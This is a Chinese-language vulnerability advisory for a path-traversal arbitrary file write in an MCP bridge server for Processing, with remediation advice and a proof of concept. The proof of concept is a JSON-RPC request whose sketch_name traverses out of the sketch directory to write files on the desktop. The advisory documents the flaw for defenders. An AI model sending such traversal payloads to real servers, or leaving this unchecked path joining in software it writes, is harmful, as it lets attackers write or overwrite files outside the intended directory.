# processing-claude-mcp-bridge 任意文件写入漏洞总结 ## 漏洞概述 **漏洞名称**:processing-claude-mcp-bridge 任意文件写入 (Arbitrary File Write via Sketch Name Traversal) **漏洞编号**:#1 **报告日期**:2026年4月10日 **漏洞类型**:CWE-22 / CWE-73 (路径遍历 / 外部控制文件名或路径) **严重程度**:CVSS v3.1 基础评分 8.6 (High) **核心问题**: 该工具允许创建、更新和运行 Processing 草图。文档声称 `sketch_name` 仅应为草图名称,但实现直接将该值拼接到 Windows 文件系统路径中,且从未检查最终路径是否位于 `PROCESSING_SKETCH_DIR` 下。攻击者可以通过提供遍历序列(如 `..\..\Desktop\evil1`)导致服务器在预期的 Processing 根目录之外创建和写入 `.pde` 文件。 ## 影响范围 * **受影响组件**:`processing_server.py` * **受影响版本**:当前扫描修订版(截至报告日期 2026年4月10日) * **受影响范围**:任何将 `sketch_name` 直接拼接到文件系统路径而未实施规范化或基于目录强制执行的修订版。 * **攻击前提**: * 攻击者可以调用 `create_sketch` 或 `update_sketch`。 * 服务器在 Windows 上运行,且 `sketch_name` 字段未经验证。 * 服务账户对逃逸目标目录具有写入权限。 * **安全影响**: * **完整性**:高。攻击者可以在 Processing 工作区之外创建或覆盖文件。 * **可用性**:中。攻击者可以损坏草图文件或干扰其他目录中的用户内容。 ## 修复方案 1. **输入验证**:不要将 `sketch_name` 视为名称而非路径。拒绝路径分隔符、驱动器前缀和遍历段。 2. **路径规范化**:在 `os.makedirs`、`open`、`os.rename` 或执行步骤之前,规范化最终路径并强制其保留在 `PROCESSING_SKETCH_DIR` 内。 3. **回归测试**:添加针对 payload 的回归测试,例如 `..\..\Desktop\evil1`、绝对路径和混合分隔符变体。 4. **架构分离**:考虑将草图标识符与其文件系统存储路径完全分离。 5. **临时缓解**:如果临时操作是必要的,将 `sketch_name` 限制为保守的允许列表(如字母、数字、空格、下划线和连字符)。以低特权账户运行服务器,并将草图存储在不包含敏感相邻路径的专用目录中。 ## 概念验证 (POC) 代码 **1. 发送 MCP 请求 (JSON Payload)** ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "create_sketch", "arguments": { "sketch_name": "..\\..\\Desktop\\evil1", "code": "void setup() { size(100, 100); }" } } } ``` **2. 服务器计算路径 (Python 逻辑)** ```python # 服务器计算: sketch_dir = C:\Users\chelo\OneDrive\Documents\Processing\..\..\Desktop\evil1 sketch_file = C:\Users\chelo\OneDrive\Documents\Processing\..\..\Desktop\evil1\..\..\Desktop\evil1.pde # 在 Windows 上规范化后: C:\Users\chelo\OneDrive\Desktop\evil1 C:\Users\chelo\OneDrive\Desktop\evil1.pde ``` **3. 可观察结果** 工具创建文件夹 `C:\Users\chelo\OneDrive\Desktop\evil1` 并写入 `C:\Users\chelo\OneDrive\Desktop\evil1.pde`,这超出了预期的 Processing 草图目录。 **4. 变体 (更新现有文件)** ```json { "sketch_name": "..\\..\\evil1", "code": "void setup() { size(100, 100); }" } ``` *注:`update_sketch` 可以使用相同的遍历模式覆盖现有的已逃逸 `.pde` 文件。*